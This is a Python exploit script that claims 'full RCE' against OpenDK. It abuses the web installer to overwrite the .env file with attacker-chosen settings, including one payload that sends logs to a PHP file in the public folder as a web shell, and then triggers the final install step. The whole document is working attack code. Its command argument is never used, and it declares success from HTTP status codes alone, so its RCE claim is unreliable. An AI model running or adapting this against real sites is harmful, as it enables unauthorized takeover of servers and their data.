#!/usr/bin/env python3
"""
OpenDK v2608.0.0 - Full RCE Exploit
"""

import requests
import urllib.parse
import sys
import os

requests.packages.urllib3.disable_warnings()

# Malicious .env that writes logs to a PHP file in public/
ENV_PAYLOAD_LOG_RCE = """APP_NAME=OpenDK
APP_ENV=local
APP_KEY=base64:QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQ==
APP_DEBUG=true
APP_URL=http://localhost

LOG_CHANNEL=single
LOG_PATH=../public/shell.php
LOG_LEVEL=debug

DB_CONNECTION=sqlite
DB_DATABASE=/tmp/test.db
"""

# Alternative: Use LOG_CHANNEL=stack with custom path
ENV_PAYLOAD_MONOLOG = """APP_NAME=OpenDK
APP_ENV=local  
APP_KEY=base64:QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQ==
APP_DEBUG=true
APP_URL=http://localhost

BROADCAST_DRIVER=log
CACHE_DRIVER=file
QUEUE_CONNECTION=sync
SESSION_DRIVER=cookie
SESSION_LIFETIME=120

DB_CONNECTION=sqlite
DB_DATABASE=/tmp/test.db
"""

def exploit(host, command="id"):
    if not host.startswith("http"):
        host = f"http://{host}"
    
    url = host.rstrip("/")
    sess = requests.Session()
    sess.verify = False
    sess.timeout = 15
    
    # Step 1: Get CSRF token
    r = sess.get(f"{url}/install")
    xsrf = sess.cookies.get('XSRF-TOKEN')
    if not xsrf:
        return None, "No XSRF token"
    
    xsrf_dec = urllib.parse.unquote(xsrf)
    
    # Step 2: Overwrite .env
    r2 = sess.post(
        f"{url}/install/environment/saveClassic",
        headers={"X-XSRF-TOKEN": xsrf_dec},
        data={"envConfig": ENV_PAYLOAD_MONOLOG},
        allow_redirects=False
    )
    
    if r2.status_code == 419:
        return None, "CSRF protected"
    
    print(f"[+] .env overwrite: HTTP {r2.status_code}")
    
    # Step 3: Try to trigger config reload and RCE
    # After .env overwrite, we need to trigger the app to re-read config
    # Try accessing different endpoints
    
    # Method: Use performInstallation endpoint which does Artisan::call()
    r3 = sess.post(
        f"{url}/install/final",
        headers={"X-XSRF-TOKEN": xsrf_dec},
        allow_redirects=False
    )
    print(f"[+] performInstallation: HTTP {r3.status_code}")
    
    return True, f"Exploit completed"

if __name__ == "__main__":
    result, msg = exploit("http://127.0.0.1:9999", "id")
    print(f"Result: {result}, {msg}")
